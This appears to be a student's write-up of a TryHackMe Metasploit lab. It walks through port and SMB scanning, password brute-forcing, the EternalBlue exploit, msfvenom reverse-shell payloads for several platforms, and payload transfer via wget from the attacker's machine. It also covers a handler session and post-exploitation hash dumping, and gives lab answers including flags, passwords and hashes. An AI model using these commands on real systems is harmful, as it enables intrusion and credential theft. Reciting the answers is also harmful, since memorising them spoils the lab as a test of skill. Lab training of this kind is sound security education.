METASPLOIT : EXPLOITATION

SCANNING :

1. Port scanning :

Metasploit has a number of modules to scan open ports on the target system and network. You can list potential port scanning modules available using the search portscan command.

command : use auxiliary/scanner/portscan/tcp and press enter.

You get :- msf auxiliary(scanner/portscan/tcp) >

Type : show options

In that you get some option to set,

1)CONCURRENCY : number of target will scan simultaneously

2)PORTS : port to be scanned.nmap will scan port from 1-1000 but

Metasploit will scan port from 1-10000.

3)RHOSTS : target or targets to be scanned.

4)THREAD : number of tasks run concurrently.

2. UDP SERVICE IDENTIFICATION :

The auxiliary/scanner/discovery/udp\_sweep module allow you identify udp services

Like DNS or Netbios .

3. SMB SCANS :

Metasploit offers serveral module for scanning specific service.we scan SMB

NetBIOS (Network Basic Input Output System), similar to SMB, allows computers to communicate over the network to share files or send files to printers.

Module : auxiliary/scanner/smb

Questions :

1)How many ports are open on the target system?

Answer : use command – nmap –sS –v <target-ip> : 5

2)Using the relevant scanner, what NetBIOS name can you see?

Answer : use module : auxiliary/scanner/Netbios/nbname and set relevant options : ACME IT SUPPORT

3)What is running on port 8000?

Answer : use nmap –sS –sV –p 8000 <target-ip> : webfs/1.21

4)What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task.

Answer : use module : auxiliary/scanner/smb/smb\_login . In that set options

1)PASS\_FILE 2)smbuser and 3) RHOSTS

Answer : leo1234

4)THE METASPLOIT DATABASE :

Metasploit has a database function to simplify project management and avoid possible confusion when setting up parameter values.You will first need to start the PostgreSQL database, which Metasploit will use with the following command: systemctl start postgresql.

Then you will need to initialize the Metasploit Database using the msfdb init command. However, trying to run msfdb init as root will give the following error message, "Please run msfdb as a non-root user." This can be solved by running it as the postgres account using sudo -u postgres msfdb init.The terminal below shows the example output. As mentioned, the steps below have already been performed on the AttackBox; however, if you are interested in repeating them, you will need to delete the existing database first using sudo -u postgres msfdb delete.

You can now launch msfconsole and check the database status using the db\_status command.The database feature will allow you to create workspaces to isolate different projects. When first launched, you should be in the default workspace. You can list available workspaces using the workspace command. You can add a workspace using the -a parameter or delete a workspace using the -d parameter, respectively. The screenshot below shows that a new workspace named "tryhackme" was created.

You can use the workspace -h command to list available options for the workspace command.If you run a Nmap scan using the db\_nmap , all results will be saved to the database.

You can now reach information relevant to hosts and services running on target systems with the hosts and services commands, respectively.  Once the host information is stored in the database, you can use the hosts -R command to add this value to the RHOSTS parameter.

5)VULNERABILITY SCANNING :

Metasploit allows you to identify some critical vulnerabilities that considered as “low hanging fruit”. The low hanging fruit term is refer to some easily identifiable and exploiting vulnerability that could gain to foothold on system,in some case high-level privileges such as root and administrator.

Finding vulnerabilities using Metasploit will rely heavily on your ability to scan and fingerprint the target.you may use the search function on Metasploit to list useful modules.

If you want to identify VNC service on target then you use search function on metasploit. As well as you can use info command for more details about module.

Questions :

1)Who wrote the module that allows us to check SMTP servers for open relay?

Answer : use search and info command for smtp\_relay module : campbell murray

5)EXPLOITATION :

You can search exploits using the search command, obtain more information about the exploit using the info command, and launch the exploit using exploit.Most of the exploits will have a preset default payload. However, you can always use the show payloads command to list other commands you can use with that specific exploit.

Once you have decided on the payload, you can use the set payload command to make your choice. Once session is opened,you background it using CTRL+z and abort it using CTRL+c. Backgrounding a sessions will helpful when you exploit more than one target simultaneously and you perform different exploit on one target.

Working with sessions :

The sessions command will list all active sessions. The sessions command supports a number of options that will help you manage sessions better.

Questions :

1)What is the content of the flag.txt file?

Answer : use exploit :- exploit/windows/smb/ms17-010-eternalblue

Set RHOST and LHOST and exploit : THM-5455554845

2)What is the NTLM hash of the password of the user "pirate"?

Answer : use hashdump : 8ce9a3ebd1647fcc5e04025019f4b875

6)MSFVENOM :

Msfvenom will allow you to access all payloads available in the  Metasploit framework. Msfvenom allows you to create payloads in many different formats (PHP, exe, dll, elf, etc.) and for many different target systems (Apple, Windows, Android, Linux, etc.).

OUTPUT FORMATS :

The msfvenom --list formats command can be used to list supported output formats.

HANDLER :

Multi handler supports all Metasploit payloads and can be used for Meterpreter as well as regular shells.

OTHER PAYLOADS :

1)Linux Executable and Linkable Format (elf)  
msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev\_shell.elf

Elf is comparable with .exe . Once you get target machine shell you have to set permissions chmod +x rev\_shell.elf.

2)Windows :

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev\_shell.exe

3)PHP  
msfvenom -p php/meterpreter\_reverse\_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev\_shell.php  
  
4)ASP

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev\_shell.asp

5)Python  
msfvenom -p cmd/unix/reverse\_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev\_shell.py

Question 1)Launch the VM attached to this task. The username is murphy, and the password is 1q2w3e4r. You can connect via SSH or launch this machine in the browser. Once on the terminal, type "sudo su" to get a root shell, this will make things easier.

Answer : use command : ssh murphy@<target-ip> . Login with pass : 1q2w3e4r

2)Create a meterpreter payload in the .elf format (on the AttackBox, or your attacking machine of choice).

Answer : msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev\_shell.elf

In that LHOST type you machine ip and listening port.

3)Transfer it to the target machine (you can start a Python web server on your attacking machine with the python3 -m http.server 9000 command and use wget http://ATTACKING\_MACHINE\_IP:9000/shell.elf to download it to the target machine).

Answer : In your machine start listner use command : python3 –m http.server 9000 and in your target machine use command to download payload : wget <http://<your>-machine-ip>:9000/shell.elf

4)Get a meterpreter session on the target machine.

Answer : you have to do in msfconsole : use exploit/multi/handler module

1)use linux/x86/meterpreter/reverse\_tcp module to get shell : set linux/x86/meterpreter/reverse\_tcp

2)set LHOST and LPORT

3)exploit

You get a meterpreter shell.

5)Use a post exploitation module to dump hashes of other users on the system.

Answer : in meterpreter shell, if hashdump is not working use module : post/linux/gather/hashdump

In that module :

1)set session <id - session>

2)exploit

6)What is the other user's password hash?

Answer : $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0